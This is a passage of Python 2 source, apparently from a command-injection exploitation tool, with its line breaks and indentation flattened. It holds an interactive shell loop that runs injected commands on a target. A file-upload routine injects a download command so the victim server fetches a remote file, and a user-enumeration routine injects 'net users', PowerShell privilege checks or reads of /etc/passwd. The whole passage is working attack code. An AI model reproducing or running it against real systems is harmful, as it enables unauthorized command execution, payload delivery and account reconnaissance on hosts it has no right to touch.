session_handler.store_cmd( url, cmd, shell, vuln_parameter) else: shell = session_handler.export_stored_cmd( url, cmd, vuln_parameter) if shell: html_parser = HTMLParser.HTMLParser( ) shell = html_parser.unescape( shell) # Update logs with executed cmds and execution results. logs.executed_command( filename, cmd, shell) if shell != "": print "\n" + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL + "\n" else: if settings.VERBOSITY_LEVEL >= 1: print "" err_msg = "The '" + cmd + "' command, does not return any output." print settings.print_critical_msg( err_msg) + "\n" except KeyboardInterrupt: raise except SystemExit: raise elif gotshell in settings.CHOICE_NO: if checks.next_attack_vector( technique, go_back) == True: break else: if no_result == True: return False else: return True elif gotshell in settings.CHOICE_QUIT: sys.exit(0) else: err_msg = "'" + gotshell + "' is not a valid answer." print settings.print_error_msg(err_msg) pass if no_result == True: if settings.VERBOSITY_LEVEL == 0: print "" return False else: sys.stdout.write("\r") sys.stdout.flush()
def file_upload(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, delay, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response): if settings.TARGET_OS == "win": # Not yet implemented pass else: file_to_upload = menu.options.file_upload # check if remote file exists. try: urllib2.urlopen(file_to_upload) except urllib2.HTTPError, err_msg: warn_msg = "It seems that the '" + file_to_upload + "' file, does not exists. (" + str( err_msg) + ")" sys.stdout.write("\n" + settings.print_warning_msg(warn_msg) + "\n") sys.stdout.flush() sys.exit(0) # Check the file-destination if os.path.split(menu.options.file_dest)[1] == "": dest_to_upload = os.path.split( menu.options.file_dest)[0] + "/" + os.path.split( menu.options.file_upload)[1] elif os.path.split(menu.options.file_dest)[0] == "/": dest_to_upload = "/" + os.path.split( menu.options.file_dest)[1] + "/" + os.path.split( menu.options.file_upload)[1] else: dest_to_upload = menu.options.file_dest # Execute command cmd = settings.FILE_UPLOAD + file_to_upload + " -O " + dest_to_upload check_how_long, output = tb_injector.injection( separator, maxlen, TAG, cmd, prefix, suffix, whitespace, delay, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) shell = output shell = "".join(str(p) for p in shell) # Check if file exists! if settings.TARGET_OS == "win": cmd = "dir " + dest_to_upload + ")" else: cmd = "echo $(ls " + dest_to_upload + ")" print "" check_how_long, output = tb_injector.injection( separator, maxlen, TAG, cmd, prefix, suffix, whitespace, delay, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) shell = output try: shell = "".join(str(p) for p in shell) except TypeError: pass if shell: success_msg = "The '" + shell + Style.RESET_ALL success_msg += Style.BRIGHT + "' file was uploaded successfully!" sys.stdout.write("\n" + settings.print_success_msg(success_msg) + "\n") sys.stdout.flush() else: warn_msg = "It seems that you don't have permissions to " warn_msg += "write the '" + dest_to_upload + "' file." sys.stdout.write("\n" + settings.print_warning_msg(warn_msg) + "\n")
def system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response): _ = False if settings.TARGET_OS == "win": settings.SYS_USERS = settings.WIN_SYS_USERS settings.SYS_USERS = settings.SYS_USERS + "-replace('\s+',' '))" if alter_shell: settings.SYS_USERS = settings.SYS_USERS.replace("'", "\\'") cmd = settings.SYS_USERS if session_handler.export_stored_cmd( url, cmd, vuln_parameter) == None or menu.options.ignore_session: try: check_how_long, output = tb_injector.injection( separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) session_handler.store_cmd(url, cmd, output, vuln_parameter) _ = True except TypeError: output = "" else: output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) sys_users = output # Windows users enumeration. if settings.TARGET_OS == "win": if settings.VERBOSITY_LEVEL <= 1 and not menu.options.ignore_session and _: print("") info_msg = "Executing the 'net users' command " info_msg += "to enumerate users entries... " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() try: if sys_users[0]: sys_users = "".join(str(p) for p in sys_users).strip() sys.stdout.write("[ " + Fore.GREEN + "SUCCEED" + Style.RESET_ALL + " ]") sys_users_list = re.findall(r"(.*)", sys_users) sys_users_list = "".join(str(p) for p in sys_users_list).strip() sys_users_list = ' '.join(sys_users_list.split()) sys_users_list = sys_users_list.split() success_msg = "Identified " + str(len(sys_users_list)) success_msg += " entr" + ('ies', 'y')[len(sys_users_list) == 1] success_msg += " via 'net users' command.\n" sys.stdout.write("\n" + settings.print_success_msg(success_msg)) sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") output_file.write( re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub( "", settings.SUCCESS_SIGN) + success_msg) output_file.close() count = 0 for user in range(0, len(sys_users_list)): count = count + 1 if menu.options.privileges: info_msg = "Confirming privileges of user '" info_msg += sys_users_list[user] + "'... " print(settings.print_info_msg(info_msg)) cmd = "powershell.exe -InputFormat none write-host (([string]$(net user " + sys_users_list[ user] + ")[22..($(net user " + sys_users_list[ user] + ").length-3)]).replace('Local Group Memberships','').replace('*','').Trim()).replace(' ','').substring(0,6)" if alter_shell: cmd = cmd.replace("'", "\\'") check_how_long, output = tb_injector.injection( separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) check_privs = output check_privs = "".join(str(p) for p in check_privs).strip() check_privs = re.findall(r"(.*)", check_privs) check_privs = "".join(str(p) for p in check_privs).strip() check_privs = check_privs.split() if "Admin" in check_privs[0]: is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " admin user" is_privileged_nh = " is admin user " else: is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " regular user" is_privileged_nh = " is regular user " else: is_privileged = "" is_privileged_nh = "" if settings.VERBOSITY_LEVEL >= 1 and menu.options.ignore_session: print("") print("\n [" + str(count) + "] '" + Style.BRIGHT + sys_users_list[user] + Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + ".") # Add infos to logs file. output_file = open(filename, "a") output_file.write(" [" + str(count) + "] " + sys_users_list[user] + is_privileged + ".\n") output_file.close() else: sys.stdout.write("[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]") sys.stdout.flush() warn_msg = "It seems that you don't have permissions to enumerate users entries." print("\n" + settings.print_warning_msg(warn_msg)) except TypeError: sys.stdout.write("[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]\n") sys.stdout.flush() pass except IndexError: sys.stdout.write("[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]") warn_msg = "It seems that you don't have permissions to enumerate users entries." sys.stdout.write("\n" + settings.print_warning_msg(warn_msg)) sys.stdout.flush() pass # Unix-like users enumeration. else: if settings.VERBOSITY_LEVEL <= 1 and not menu.options.ignore_session and _: print("") info_msg = "Fetching '" + settings.PASSWD_FILE info_msg += "' to enumerate users entries... " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() try: if sys_users[0]: sys_users = "".join(str(p) for p in sys_users).strip() if len(sys_users.split(" ")) <= 1: sys_users = sys_users.split("\n") else: sys_users = sys_users.split(" ") # Check for appropriate '/etc/passwd' format. if len(sys_users) % 3 != 0: sys.stdout.write("[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]") sys.stdout.flush() warn_msg = "It seems that '" + settings.PASSWD_FILE + "' file is " warn_msg += "not in the appropriate format. Thus, it is expoted as a text file." print("\n" + settings.print_warning_msg(warn_msg)) sys_users = " ".join(str(p) for p in sys_users).strip() print(sys_users) output_file = open(filename, "a") output_file.write(" " + sys_users) output_file.close() else: sys_users_list = [] for user in range(0, len(sys_users), 3): sys_users_list.append(sys_users[user:user + 3]) if len(sys_users_list) != 0: sys.stdout.write("[ " + Fore.GREEN + "SUCCEED" + Style.RESET_ALL + " ]") success_msg = "Identified " + str(len(sys_users_list)) success_msg += " entr" + ( 'ies', 'y')[len(sys_users_list) == 1] success_msg += " in '" + settings.PASSWD_FILE + "'." sys.stdout.write( "\n" + settings.print_success_msg(success_msg)) sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") output_file.write( re.compile(re.compile(settings.ANSI_COLOR_REMOVAL) ).sub("", settings.SUCCESS_SIGN) + success_msg) output_file.close() count = 0 for user in range(0, len(sys_users_list)): sys_users = sys_users_list[user] sys_users = ":".join(str(p) for p in sys_users) count = count + 1 fields = sys_users.split(":") fields1 = "".join(str(p) for p in fields) # System users privileges enumeration try: if not fields[2].startswith("/"): raise ValueError() if menu.options.privileges: if int(fields[1]) == 0: is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " root user " is_privileged_nh = " is root user " elif int(fields[1]) > 0 and int( fields[1]) < 99: is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " system user " is_privileged_nh = " is system user " elif int(fields[1]) >= 99 and int( fields[1]) < 65534: if int(fields[1]) == 99 or int( fields[1]) == 60001 or int( fields[1]) == 65534: is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " anonymous user " is_privileged_nh = " is anonymous user " elif int(fields[1]) == 60002: is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " non-trusted user " is_privileged_nh = " is non-trusted user " else: is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " regular user " is_privileged_nh = " is regular user " else: is_privileged = "" is_privileged_nh = "" else: is_privileged = "" is_privileged_nh = "" sys.stdout.write("\n (" + str(count) + ") '" + Style.BRIGHT + fields[0] + Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + "(uid=" + fields[1] + "). Home directory is in '" + Style.BRIGHT + fields[2] + Style.RESET_ALL + "'.") sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") output_file.write(" (" + str(count) + ") '" + fields[0] + "'" + is_privileged_nh + "(uid=" + fields[1] + "). Home directory is in '" + fields[2] + "'.\n") output_file.close() except ValueError: if count == 1: warn_msg = "It seems that '" + settings.PASSWD_FILE + "' file is not in the " warn_msg += "appropriate format. Thus, it is expoted as a text file." print(settings.print_warning_msg(warn_msg)) sys_users = " ".join( str(p) for p in sys_users.split(":")) print(sys_users) output_file = open(filename, "a") output_file.write(" " + sys_users) output_file.close() else: sys.stdout.write("[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]") warn_msg = "It seems that you don't have permissions to read '" warn_msg += settings.PASSWD_FILE + "' to enumerate users entries." sys.stdout.write("\n" + settings.print_warning_msg(warn_msg)) sys.stdout.flush() except TypeError: sys.stdout.write("[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]\n") sys.stdout.flush() pass except IndexError: sys.stdout.write("[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]") warn_msg = "Some kind of WAF/IPS/IDS probably blocks the attempt to read '" warn_msg += settings.PASSWD_FILE + "' to enumerate users entries." sys.stdout.write("\n" + settings.print_warning_msg(warn_msg)) sys.stdout.flush() pass